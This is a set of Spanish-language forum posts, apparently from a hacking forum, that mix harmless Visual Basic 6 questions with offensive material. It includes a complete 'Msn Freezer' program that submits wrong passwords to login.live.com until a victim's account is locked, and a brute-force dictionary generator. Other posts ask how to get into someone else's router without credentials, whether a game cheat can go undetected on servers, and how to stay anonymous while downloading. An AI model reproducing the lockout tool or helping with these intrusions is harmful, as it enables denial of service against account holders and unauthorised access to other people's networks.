Hola buenas ,he encontrado este code para la cfg e counter strike 1.6:
Tengo varias dudas (mi intencion es usarlo en servers):
¿realmetne funciona?
¿con el counter steam tambien lo haria?
¿en un servidor se podrian dar cuenta?
¿como hria para activarlo con la tecla "v", por ejemplo?
¿sabrian decirme otro ejemplo o forma de hacerlo?

Muchas gracias por adelntado!!!

Hola q to2, kerria saber si es posible ser 100% anonimo a la hora de realizar una descarga, todos sabemos que en paises como Francia, entre otros, si te localizan haciendo descargas t pueden quitar aceso a internet...(Estudian hacer esto en España) Utilizando un proxy anonimo seria suficiente??

Gracias por resolver mis dudas...

Hola a to2, les cuento:

Estoy conectado a una red wpa, y kisiera abrir un puerto, me meto en la configuracion del router ( ajeno ), y me pide usuario y pass , por lo cual no puedo abrirlo, se os ocurren solucciones????? :huh:hay otra manera de abrir el puerto???

gRaCiAs!!

hola buenas, querria saber como poner un gif animado en mi firma, probe copiando el URL pero no funciona , gracias...

Imaginemos q tengo:

Dim a, s, d, f, g, h, j, k, l, ñ, x, c ,v , b, n, m As Integer 
 

Sabrian decirme como asigno a todas a la vez el valor 10??  por ejemplo.

Gracias!

Hola a todos hace poco pregunte como se hacia un Bruteforce en vb6, obtuve diferentes metodos, pero Karcrack me dijo q lo intentara por mi mismo, y asi he hecho!!  :)Les presento mi code para convinar las letras minusculas del abcdario. estuve dandole vueltas, no se si es la forma optima de hacerlo (aunque funciona a la perfeccion), por eso os pido vuestra yuda para mejorarlo y de paso aprender.

Public Sub BruteForce()
 
    Dim D1, D2, D3, D4, D5, D6, D7, D8 As Integer
 
    D1 = 97: D2 = 97: D3 = 97: D4 = 97: D5 = 97: D6 = 97: D7 = 97: D8 = 97
 
    Open App.Path & "\midicionario.txt" For Output As #1
 
digito1:
 
    If D1 = 123 Then
        D1 = 97
        MsgBox "Combinaciones con un digito completadas", vbInformation
        GoTo digito2
    End If
    Print #1, Chr(D1)
    D1 = D1 + 1
    GoTo digito1
 
digito2:
 
    If D1 = 122 And D2 = 123 Then
        D1 = 97: D2 = 97
        MsgBox "Combinaciones con dos digitos completadas", vbInformation
        GoTo digito3
    ElseIf D2 = 123 Then
        D1 = D1 + 1
        D2 = 97
    End If
    Print #1, Chr(D1) & Chr(D2)
    D2 = D2 + 1
    GoTo digito2
 
digito3:
 
    If D1 = 122 And D2 = 122 And D3 = 123 Then
        D1 = 97: D2 = 97: D3 = 97
        MsgBox "Combinaciones con tres digitos completadas", vbInformation
        GoTo digito4
    ElseIf D2 = 122 And D3 = 123 Then
        D2 = 97: D3 = 97
        D1 = D1 + 1
    ElseIf D3 = 123 Then
        D2 = D2 + 1
        D3 = 97
    End If
    Print #1, Chr(D1) & Chr(D2) & Chr(D3)
    D3 = D3 + 1
    GoTo digito3
 
digito4:
 
    If D1 = 122 And D2 = 122 And D3 = 122 And D4 = 123 Then
        D1 = 97: D2 = 97: D3 = 97: D4 = 97
        MsgBox "Combinaciones con cuatro digitos completadas", vbInformation
        GoTo fin
    ElseIf D2 = 122 And D3 = 122 And D4 = 123 Then
        D2 = 97: D3 = 97: D4 = 97
        D1 = D1 + 1
    ElseIf D3 = 122 And D4 = 123 Then
        D3 = 97: D4 = 97
        D2 = D2 + 1
    ElseIf D4 = 123 Then
        D4 = 97
        D3 = D3 + 1
    End If
    Print #1, Chr(D1) & Chr(D2) & Chr(D3) & Chr(D4)
    D4 = D4 + 1
    GoTo digito4
 
fin:
 
    MsgBox "Fin", vbExclamation
    Close #1
 
End Sub
 

Si no entienden algo no uden en preguntar  

Garcias Karcrack

Hola amigos, necesito su ayuda , necesito conbinar todos los caracteres del abecedario de 2 a 6 digitos, algo asi:

Muchas gracias!!!

Hola amigos, os presento este code de un Msn freezer, pero a diferencia de los demas, ahorra mucho codigo y cumple basicamente la misma funcion, generalmente en menos tiempo, no se si esto ya se le habia ocurrido antes a alguien, pero ahi va... Por cierto, las criticas constructivas son bienvenidas!!

*Utilizo componente:

    -Microsoft Internet Controls

*En el formulario agrego:

    -Un Textbox = Text1
    -Un CommandButton = Command1
    -Un WebBrowser = WB

' ////////////////////////////////////////////////////////////////
' // *Autor: *PsYkE1* (miguelin.majo@gmail.com)                 //
' // *Podeis agrandar o reducir el codigo, siempre y cuando se  //
' // respete la autoria y se me comuniquen esos cambios.        //
' // *Agradecimientos a BlackZeroX.                             //
' // *Visita http://foro.rthacker.net                           //
' ////////////////////////////////////////////////////////////////
 
Dim Flag As Boolean
 
Private Sub Command1_Click()
    'Dependiendo del Caption del botón realiza una u otra acción
    If Command1.Caption = "Congelar" Then
        'Si el Text1 esta vacio
        If Text1.Text = "" Then
            Flag = False
            MsgBox "Debes introducir una cuenta", vbCritical, "*PsYkE1* Msn Freezer v1.0"
        Else
            Flag = False
            Text1.Enabled = False
            WB.Navigate ("login.live.com") 'Abro la Web para logearse
            Command1.Caption = "Descongelar"
        End If
    Else
        Text1.Enabled = True
        Command1.Caption = "Congelar"
        WB.Navigate ("") 'Salgo de la Web
        MsgBox "La cuenta " & Text1.Text & " ha sido descongelada", vbInformation, "*PsYkE1* Msn Freezer v1.0"
    End If
End Sub
 
Private Sub Form_Load()
    Me.Caption = "*PsYkE1* Msn Freezer v1.0" 'Pongo Title al Form
    Command1.Caption = "Congelar" 'Asigno el Caption al botón
    Flag = True 'Activo el interruptor
End Sub
 
Private Sub WB_DocumentComplete(ByVal pDisp As Object, URL As Variant)
    On Error Resume Next 'Si hay error no lo muestre
    If Flag Then Exit Sub 'Si el interuptor está activado salgo
    With WB
        .Document.All("login").Value = Text1.Text 'Ingreso la cuenta
        .Document.All("passwd").Value = "by*PsYkE1*" 'Pongo una contraseña que no es
        .Document.All("SI").Click 'hago click
    End With
    ' Si encuentro la cadena "demasiadas veces" en el documento del WB...
    If InStr(WB.Document.Body.InnerHtml, "demasiadas veces") Then
        MsgBox "La cuenta : " & Text1.Text & " ha sido bloqueada con éxito!" _
        , vbInformation, "*PsYkE1* Msn Freezer v1.0": Flag = True
    End If
End Sub

Espero que os haya gustado

Hola a todos!!

Veamos, tengo dos listbox, y quiero que al seleccionar un elemento del list1 seleccione el elemento correspondiente en el list2 no se si me he explicado bien...
Es decir, cuando pinche en el 2º elemento de list1 se seleccione el 2º elemento del list2 yo habia pensado en algo asi:

Private Sub List1_Click ()
 
'Msgbox List1.ListIndex
List1.ListIndex = List2.ListIndex
 
End Sub
 

Me da error y me dice que no es una matriz... He probado varias formas por mi mismmo pero no he llegado a nada aún, agradezco la ayuda!!!

Aver si me pueden ayudar:

Utilizo el módulo cStdIO.cls para ejecutar comandos en el cmd, pero hay comandos que no ejecuta correctamente.

Un ejemplo entre otros sería:

Pero el archivo "hola.txt" SI existe, y pruebo el mismo comando con el cmd y funciona, ¿me podrían decir que pasa
o otra forma de hacerlo????

Gracias a to2!!!!!!!!